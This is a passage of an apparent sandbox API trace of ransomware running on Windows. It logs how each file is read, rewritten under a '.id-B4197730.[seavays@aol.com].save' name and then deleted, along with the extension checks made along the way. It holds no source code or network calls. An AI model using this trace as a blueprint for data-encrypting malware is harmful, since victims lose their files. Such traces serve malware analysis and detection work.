shared\\ink\\mraut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0160.246] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=6368768) returned 1 [0160.246] CloseHandle (hObject=0x37c) returned 1 [0160.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0x20 [0160.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0160.247] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[seavays@aol.com].save")) returned 0 [0160.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0160.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0160.247] lstrlenW (lpString=".doc") returned 4 [0160.247] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.247] lstrlenW (lpString=".docx") returned 5 [0160.247] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0160.247] lstrlenW (lpString=".pdf") returned 4 [0160.247] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.247] lstrlenW (lpString=".xls") returned 4 [0160.247] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.247] lstrlenW (lpString=".xlsx") returned 5 [0160.247] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0160.247] lstrlenW (lpString=".ppt") returned 4 [0160.247] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0160.247] lstrlenW (lpString=".zip") returned 4 [0160.247] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.247] lstrlenW (lpString=".rar") returned 4 [0160.247] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.247] lstrlenW (lpString=".bz2") returned 4 [0160.247] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.248] lstrlenW (lpString=".7z") returned 3 [0160.248] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0160.248] lstrlenW (lpString=".dbf") returned 4 [0160.248] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0160.248] lstrlenW (lpString=".1cd") returned 4 [0160.248] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0160.248] lstrlenW (lpString=".jpg") returned 4 [0160.248] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0160.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0160.248] lstrlenW (lpString=".doc") returned 4 [0160.248] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.248] lstrlenW (lpString=".docx") returned 5 [0160.248] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0160.248] lstrlenW (lpString=".pdf") returned 4 [0160.248] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.248] lstrlenW (lpString=".xls") returned 4 [0160.248] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.248] lstrlenW (lpString=".xlsx") returned 5 [0160.248] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0160.248] lstrlenW (lpString=".ppt") returned 4 [0160.248] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0160.248] lstrlenW (lpString=".zip") returned 4 [0160.248] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.248] lstrlenW (lpString=".rar") returned 4 [0160.248] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.248] lstrlenW (lpString=".bz2") returned 4 [0160.249] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.249] lstrlenW (lpString=".7z") returned 3 [0160.249] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0160.249] lstrlenW (lpString=".dbf") returned 4 [0160.249] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0160.249] lstrlenW (lpString=".1cd") returned 4 [0160.249] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0160.249] lstrlenW (lpString=".jpg") returned 4 [0160.249] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.249] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0160.249] lstrlenW (lpString="mshwgst.dll") returned 11 [0160.249] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0160.251] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=51200) returned 1 [0160.251] CloseHandle (hObject=0x37c) returned 1 [0160.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll")) returned 0x20 [0160.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0160.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0160.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0160.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0160.251] lstrlenW (lpString=".doc") returned 4 [0160.251] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.251] lstrlenW (lpString=".docx") returned 5 [0160.251] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0160.251] lstrlenW (lpString=".pdf") returned 4 [0160.251] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.251] lstrlenW (lpString=".xls") returned 4 [0160.251] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.251] lstrlenW (lpString=".xlsx") returned 5 [0160.251] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0160.251] lstrlenW (lpString=".ppt") returned 4 [0160.251] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0160.251] lstrlenW (lpString=".zip") returned 4 [0160.252] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.252] lstrlenW (lpString=".rar") returned 4 [0160.252] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.252] lstrlenW (lpString=".bz2") returned 4 [0160.252] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.252] lstrlenW (lpString=".7z") returned 3 [0160.252] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0160.826] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.826] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.826] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0160.830] GetLastError () returned 0x0 [0160.830] ReadFile (in: hFile=0x39c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x562, lpOverlapped=0x0) returned 1 [0160.847] WriteFile (in: hFile=0x3a0, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x570, lpOverlapped=0x0) returned 1 [0160.849] ReadFile (in: hFile=0x39c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.849] WriteFile (in: hFile=0x3a0, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xfc, lpOverlapped=0x0) returned 1 [0160.849] SetEndOfFile (hFile=0x3a0) returned 1 [0160.849] CloseHandle (hObject=0x3a0) returned 1 [0160.849] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.849] SetEndOfFile (hFile=0x39c) returned 1 [0161.250] CloseHandle (hObject=0x39c) returned 1 [0161.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0161.251] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 1 [0161.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0161.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0161.255] lstrlenW (lpString=".doc") returned 4 [0161.255] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0161.255] lstrlenW (lpString=".docx") returned 5 [0161.256] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0161.256] lstrlenW (lpString=".pdf") returned 4 [0161.256] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0161.256] lstrlenW (lpString=".xls") returned 4 [0161.256] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0161.256] lstrlenW (lpString=".xlsx") returned 5 [0161.256] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0161.256] lstrlenW (lpString=".ppt") returned 4 [0161.256] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0161.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0161.256] lstrlenW (lpString=".zip") returned 4 [0161.256] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0161.256] lstrlenW (lpString=".rar") returned 4 [0161.256] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0161.256] lstrlenW (lpString=".bz2") returned 4 [0161.257] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0161.257] lstrlenW (lpString=".7z") returned 3 [0161.257] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0161.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0161.257] lstrlenW (lpString=".dbf") returned 4 [0161.257] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0161.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0161.257] lstrlenW (lpString=".1cd") returned 4 [0161.257] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0161.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0161.257] lstrlenW (lpString=".jpg") returned 4 [0161.257] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0161.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0161.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0161.257] lstrlenW (lpString=".doc") returned 4 [0161.257] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0161.257] lstrlenW (lpString=".docx") returned 5 [0161.257] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0161.258] lstrlenW (lpString=".pdf") returned 4 [0161.258] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0161.258] lstrlenW (lpString=".xls") returned 4 [0161.258] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0161.258] lstrlenW (lpString=".xlsx") returned 5 [0161.258] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0161.258] lstrlenW (lpString=".ppt") returned 4 [0161.258] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0161.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0161.258] lstrlenW (lpString=".zip") returned 4 [0161.258] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0161.258] lstrlenW (lpString=".rar") returned 4 [0161.258] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0161.258] lstrlenW (lpString=".bz2") returned 4 [0161.258] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0161.258] lstrlenW (lpString=".7z") returned 3 [0161.258] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0161.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0161.258] lstrlenW (lpString=".dbf") returned 4 [0161.258] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0161.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0161.258] lstrlenW (lpString=".1cd") returned 4 [0161.259] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0161.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0161.259] lstrlenW (lpString=".jpg") returned 4 [0161.259] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0161.259] lstrcmpiW (lpString1=".pf", lpString2=".save") returned -1 [0161.259] lstrlenW (lpString="sRGB.pf") returned 7 [0161.260] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0161.261] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=3144) returned 1 [0161.261] CloseHandle (hObject=0x39c) returned 1 [0161.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 0x20 [0161.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0161.262] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0161.262] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.262] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.262] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0161.263] GetLastError () returned 0x0 [0161.263] ReadFile (in: hFile=0x39c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0xc48, lpOverlapped=0x0) returned 1 [0161.266] WriteFile (in: hFile=0x3b8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xc50, lpOverlapped=0x0) returned 1 [0161.268] ReadFile (in: hFile=0x39c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.268] WriteFile (in: hFile=0x3b8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xe2, lpOverlapped=0x0) returned 1 [0161.268] SetEndOfFile (hFile=0x3b8) returned 1 [0161.268] CloseHandle (hObject=0x3b8) returned 1 [0161.268] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.268] SetEndOfFile (hFile=0x39c) returned 1 [0161.273] CloseHandle (hObject=0x39c) returned 1 [0161.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0161.274] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 1 [0161.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0161.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0161.275] lstrlenW (lpString=".doc") returned 4 [0161.275] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0161.275] lstrlenW (lpString=".docx") returned 5 [0161.275] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0161.275] lstrlenW (lpString=".pdf") returned 4 [0161.275] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0161.275] lstrlenW (lpString=".xls") returned 4 [0161.275] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0161.275] lstrlenW (lpString=".xlsx") returned 5 [0161.275] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0161.275] lstrlenW (lpString=".ppt") returned 4 [0161.275] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0161.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0161.275] lstrlenW (lpString=".zip") returned 4 [0161.275] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0161.275] lstrlenW (lpString=".rar") returned 4 [0161.275] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0161.275] lstrlenW (lpString=".bz2") returned 4 [0161.275] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0161.276] lstrlenW (lpString=".7z") returned 3 [0161.276] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0161.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0161.276] lstrlenW (lpString=".dbf") returned 4 [0161.276] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0161.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0161.276] lstrlenW (lpString=".1cd") returned 4 [0161.276] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0161.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0161.276] lstrlenW (lpString=".jpg") returned 4 [0161.276] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0161.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0161.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0161.276] lstrlenW (lpString=".doc") returned 4 [0161.276] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0161.276] lstrlenW (lpString=".docx") returned 5 [0161.277] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0161.277] lstrlenW (lpString=".pdf") returned 4 [0161.277] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0161.277] lstrlenW (lpString=".xls") returned 4 [0161.277] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0161.277] lstrlenW (lpString=".xlsx") returned 5 [0161.277] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0161.277] lstrlenW (lpString=".ppt") returned 4 [0161.277] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0161.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0161.277] lstrlenW (lpString=".zip") returned 4 [0161.277] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0161.277] lstrlenW (lpString=".rar") returned 4 [0161.277] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0161.277] lstrlenW (lpString=".bz2") returned 4 [0161.277] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0161.277] lstrlenW (lpString=".7z") returned 3 [0161.277] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0161.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0161.277] lstrlenW (lpString=".dbf") returned 4 [0161.277] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0161.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0161.277] lstrlenW (lpString=".1cd") returned 4 [0161.277] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0161.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0161.278] lstrlenW (lpString=".jpg") returned 4 [0161.278] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0161.278] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0161.278] lstrlenW (lpString="content-types.properties") returned 24 [0161.278] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0161.280] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=5548) returned 1 [0161.280] CloseHandle (hObject=0x39c) returned 1 [0161.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 0x20 [0161.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0161.280] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0161.281] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.281] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.281] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0161.283] GetLastError () returned 0x0 [0161.283] ReadFile (in: hFile=0x39c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x15ac, lpOverlapped=0x0) returned 1 [0161.286] WriteFile (in: hFile=0x3b8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x15b0, lpOverlapped=0x0) returned 1 [0161.288] ReadFile (in: hFile=0x39c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: 